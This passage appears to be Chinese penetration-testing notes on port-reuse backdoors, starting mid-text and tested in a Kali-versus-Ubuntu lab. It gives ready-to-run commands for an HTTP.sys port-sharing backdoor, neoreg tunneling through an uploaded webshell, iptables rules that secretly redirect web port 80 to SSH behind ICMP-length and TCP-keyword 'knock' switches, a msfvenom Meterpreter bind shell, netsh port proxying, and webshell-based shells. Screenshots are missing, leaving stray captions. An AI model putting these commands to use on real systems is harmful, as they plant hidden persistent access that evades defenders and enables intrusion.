原因:仅仅支持server,不支持windows
执行chcp 437即可解决
原因是:chcp不同导致的防御手段参考链接端口复用后门 - 0x4D75 - 博客园 (cnblogs.com)
二.HTTP Server API本程序利用HTTP.sys官方接口,向该驱动注册url前缀,与IIS共享端口,从而实现后门功能。
项目地址:
https://github.com/Reuodut/Windows-Hack-Code参考自https://www.cnblogs.com/reuodut/articles/11848530.html三.reGeorg项目地址:
https://github.com/L-codes/neoreg1.生成密码python neoreg.py generate -k password
2.上传3.本地开启代理python neoreg.py -k password -u "http://192.168.198.129/tunnel.php"
本地的1080端口即可访问
4.代理
四.iptables复用iptables基础sudo iptables -L -v --line-number
查看iptables的条目
sudo iptables -D INPUT 1
删除iptables条目
重启计算机的时候
iptables自动清除条件如果目标严格禁止仅仅开放80端口,我们就需要把80的ssh流量转发到22的ssh
实验环境kali:192.168.198.134
ubuntu:192.168.198.133
80端口开放
1.根据源地址做端口复用iptables -t nat -A PREROUTING -p tcp -s 192.168.198.134 --dport 80 -j REDIRECT --to-port 22
将从kali访问的80端口的流量重定向到22端口
问题别的师傅说因为所有的流量都转发到了22,所以正常访问80端口会访问不了,但是经过我的实际测试,我用的python开启的http服务,连接80端口的ssh的时候,也是可以正常访问的。
不限制访问ip
2.根据源地址做端口的访问(限制源IP)iptables -t nat -A PREROUTING -p tcp -s 192.168.198.134 --sport 33333 --dport 80 -j REDIRECT --to-port 22
只有192.168.198.134(kali)的33333端口访问80的流量会被转发到22端口去nohup socat tcp-listen:44444,fork,reuseaddr tcp:192.168.198.133:80,sourceport=33333,reuseaddr &
ssh -p 44444 cmrex@127.0.0.1
我们把本地44444端口转发到33333端口,然后我们访问本地的44444端口
问题如果想要多开几个ssh连接,我们只需要把端口再转发几个就行了
3.利用icmp做开关iptables -t nat -N LETMEIN
#创建端口复用链
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#创建端口复用规则,将流量转发至 22 端口
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
#开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
#关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
#如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
开启复用
ping -c 1 -s 1111 192.168.198.133
#向目标发送一个长度为 1111 的 ICMP 数据包(加上包头28,总长度实际为1139)
关闭复用
ping -c 1 -s 1112 192.168.198.133
#向目标发送一个长度为 1112 的 ICMP 数据包(加上包头 28,总长度实际为 1140)开启:
关闭:
问题如果网络中禁止ping,或者没有ping,则无法利用
4.利用TCP协议做开关ubuntu中:
iptables -t nat -N LETMEIN
#创建端口复用链
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#创建端口复用规则,将流量转发至 22 端口
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
#开启开关,如果接收到一个含有threathuntercoming的TCP包,则将来源 IP 添加到加为letmein的列表中
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
#关闭开关,如果接收到一个含有threathunterleaving的TCP包,则将来源 IP 从letmein的列表中移除
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
#如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒
kali中:
开启复用,开启后本机到目标 80 端口的流量将转发至目标的 SSH
echo threathuntercoming | socat - tcp:192.168.198.133:80
关闭复用,关闭后,80 恢复正常:
echo threathunterleaving | socat - tcp:192.168.198.133:80开启连接:
关闭连接:
问题待续
参考自Linux利用iptables做端口复用_谢公子的博客-CSDN博客_iptables端口复用
五.msf正向shell1.生成msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=80 -o shell.exe
//从目标的80端口出来
2.监听连接use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
run3.结果
成功正向连接
web日志:
六.netsh假定需要通过192.168.198.133的3389端口转80端口,则需要在192.168.198.133主机的命令行输入如下语句:
netsh interface portproxy add v4tov4 listenport=80 listenaddress=192.168.198.129 connectport=3389 connectaddress=192.168.198.129netsh interface portproxy show all
删除:
netsh interface portproxy delete v4tov4 listenport=80 listenaddress=192.168.198.129七.冰蝎正向后门代理流量冰蝎有自带的正向流量代理工具
箭头所指处填写
0.0.0.0
和
本地要监听的流量代理端口即可
八.蚁剑反弹shell配合msf需要用到蚁剑的插件:AS-exploit
蚁剑可以轻松正向shell反弹